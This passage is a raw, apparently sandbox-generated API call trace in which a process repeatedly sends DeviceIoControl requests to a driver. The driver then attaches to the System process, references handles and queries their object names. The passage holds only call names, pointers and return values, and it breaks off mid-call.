KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.156] ObReferenceObjectByHandle (in: Handle=0xffffffff80000770, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002fbe760, HandleInformation=0x0) returned 0x0 [0135.156] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.156] PsReleaseProcessExitSynchronization () returned 0x2 [0135.156] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.156] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0135.156] ObfDereferenceObject (Object=0xfffffa8002fbe760) returned 0x1 [0135.156] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.156] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.156] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.156] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.156] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.156] PsAcquireProcessExitSynchronization () returned 0x0 [0135.156] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.156] ObReferenceObjectByHandle (in: Handle=0xffffffff80000774, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037b5f20, HandleInformation=0x0) returned 0x0 [0135.156] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.156] PsReleaseProcessExitSynchronization () returned 0x2 [0135.156] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.156] ObQueryNameString (in: Object=0xfffffa80037b5f20, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.157] ObfDereferenceObject (Object=0xfffffa80037b5f20) returned 0x2 [0135.157] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.157] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.157] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.157] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.157] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.157] PsAcquireProcessExitSynchronization () returned 0x0 [0135.157] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.157] ObReferenceObjectByHandle (in: Handle=0xffffffff80000778, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037f3a20, HandleInformation=0x0) returned 0x0 [0135.157] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.157] PsReleaseProcessExitSynchronization () returned 0x2 [0135.157] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.157] ObQueryNameString (in: Object=0xfffffa80037f3a20, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.157] ObfDereferenceObject (Object=0xfffffa80037f3a20) returned 0x2 [0135.157] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.157] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.157] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.157] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.157] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.157] PsAcquireProcessExitSynchronization () returned 0x0 [0135.157] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.157] ObReferenceObjectByHandle (in: Handle=0xffffffff8000077c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002890f20, HandleInformation=0x0) returned 0x0 [0135.157] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.157] PsReleaseProcessExitSynchronization () returned 0x2 [0135.157] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.157] ObQueryNameString (in: Object=0xfffffa8002890f20, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.157] ObfDereferenceObject (Object=0xfffffa8002890f20) returned 0x2 [0135.157] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.158] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.158] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.158] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.158] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.158] PsAcquireProcessExitSynchronization () returned 0x0 [0135.158] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.158] ObReferenceObjectByHandle (in: Handle=0xffffffff80000784, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800ed43f20, HandleInformation=0x0) returned 0x0 [0135.158] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.158] PsReleaseProcessExitSynchronization () returned 0x2 [0135.158] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.158] ObQueryNameString (in: Object=0xfffffa800ed43f20, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.158] ObfDereferenceObject (Object=0xfffffa800ed43f20) returned 0x2 [0135.158] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.158] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.158] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.158] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.158] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.158] PsAcquireProcessExitSynchronization () returned 0x0 [0135.158] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.158] ObReferenceObjectByHandle (in: Handle=0xffffffff80000788, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800349e950, HandleInformation=0x0) returned 0x0 [0135.158] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.158] PsReleaseProcessExitSynchronization () returned 0x2 [0135.158] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.158] ObQueryNameString (in: Object=0xfffffa800349e950, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.158] ObfDereferenceObject (Object=0xfffffa800349e950) returned 0x2 [0135.158] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.158] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.158] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.158] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.158] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.159] PsAcquireProcessExitSynchronization () returned 0x0 [0135.159] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.159] ObReferenceObjectByHandle (in: Handle=0xffffffff8000079c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002c4b690, HandleInformation=0x0) returned 0x0 [0135.288] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.289] PsReleaseProcessExitSynchronization () returned 0x2 [0135.289] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.289] ObQueryNameString (in: Object=0xfffffa8002c4b690, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.289] ObfDereferenceObject (Object=0xfffffa8002c4b690) returned 0x2 [0135.289] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.289] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.289] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.289] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.289] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.289] PsAcquireProcessExitSynchronization () returned 0x0 [0135.289] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.289] ObReferenceObjectByHandle (in: Handle=0xffffffff800007a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80019ee050, HandleInformation=0x0) returned 0x0 [0135.289] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.289] PsReleaseProcessExitSynchronization () returned 0x2 [0135.289] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.289] ObQueryNameString (in: Object=0xfffffa80019ee050, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0135.289] ObfDereferenceObject (Object=0xfffffa80019ee050) returned 0x2 [0135.289] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.289] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.289] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.289] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0135.289] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.289] PsAcquireProcessExitSynchronization () returned 0x0 [0135.289] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.289] ObReferenceObjectByHandle (in: Handle=0xffffffff800007a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800340bb10, HandleInformation=0x0) returned 0x0 [0135.289] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.289] PsReleaseProcessExitSynchronization () returned 0x2 [0135.289] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.289] ObQueryNameString (in: Object=0xfffffa800340bb10, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.290] ObfDereferenceObject (Object=0xfffffa800340bb10) returned 0x2 [0135.290] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.290] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.290] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.290] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.290] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.290] PsAcquireProcessExitSynchronization () returned 0x0 [0135.290] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.290] ObReferenceObjectByHandle (in: Handle=0xffffffff800007b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002191330, HandleInformation=0x0) returned 0x0 [0135.290] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.290] PsReleaseProcessExitSynchronization () returned 0x2 [0135.290] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.290] ObQueryNameString (in: Object=0xfffffa8002191330, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.290] ObfDereferenceObject (Object=0xfffffa8002191330) returned 0x2 [0135.290] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.290] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.290] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.290] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.290] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.290] PsAcquireProcessExitSynchronization () returned 0x0 [0135.290] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.290] ObReferenceObjectByHandle (in: Handle=0xffffffff800007b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800218eaa0, HandleInformation=0x0) returned 0x0 [0135.290] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.290] PsReleaseProcessExitSynchronization () returned 0x2 [0135.290] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.290] ObQueryNameString (in: Object=0xfffffa800218eaa0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.290] ObfDereferenceObject (Object=0xfffffa800218eaa0) returned 0x2 [0135.290] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.290] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.291] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.291] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.291] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.291] PsAcquireProcessExitSynchronization () returned 0x0 [0135.291] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.291] ObReferenceObjectByHandle (in: Handle=0xffffffff800007bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002364460, HandleInformation=0x0) returned 0x0 [0135.291] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.291] PsReleaseProcessExitSynchronization () returned 0x2 [0135.291] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.291] ObQueryNameString (in: Object=0xfffffa8002364460, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.291] ObfDereferenceObject (Object=0xfffffa8002364460) returned 0x2 [0135.291] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.291] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.291] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.291] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0135.291] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.291] PsAcquireProcessExitSynchronization () returned 0x0 [0135.291] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.291] ObReferenceObjectByHandle (in: Handle=0xffffffff800007c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80021afae0, HandleInformation=0x0) returned 0x0 [0135.291] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.291] PsReleaseProcessExitSynchronization () returned 0x2 [0135.291] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.291] ObQueryNameString (in: Object=0xfffffa80021afae0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.291] ObfDereferenceObject (Object=0xfffffa80021afae0) returned 0x2 [0135.291] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.291] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.291] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.291] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.291] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.291] PsAcquireProcessExitSynchronization () returned 0x0 [0135.291] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.291] ObReferenceObjectByHandle (in: Handle=0xffffffff800007c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800b3b5050, HandleInformation=0x0) returned 0x0 [0135.291] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.292] PsReleaseProcessExitSynchronization () returned 0x2 [0135.292] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.292] ObQueryNameString (in: Object=0xfffffa800b3b5050, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.292] ObfDereferenceObject (Object=0xfffffa800b3b5050) returned 0x2 [0135.292] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.292] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.292] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.292] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.292] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.292] PsAcquireProcessExitSynchronization () returned 0x0 [0135.292] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.292] ObReferenceObjectByHandle (in: Handle=0xffffffff800007cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800c5def20, HandleInformation=0x0) returned 0x0 [0135.292] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.292] PsReleaseProcessExitSynchronization () returned 0x2 [0135.292] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.292] ObQueryNameString (in: Object=0xfffffa800c5def20, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.292] ObfDereferenceObject (Object=0xfffffa800c5def20) returned 0x2 [0135.292] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.292] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.292] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.292] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.292] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.292] PsAcquireProcessExitSynchronization () returned 0x0 [0135.292] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.292] ObReferenceObjectByHandle (in: Handle=0xffffffff800007d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800397bbc0, HandleInformation=0x0) returned 0x0 [0135.292] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.292] PsReleaseProcessExitSynchronization () returned 0x2 [0135.292] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.292] ObQueryNameString (in: 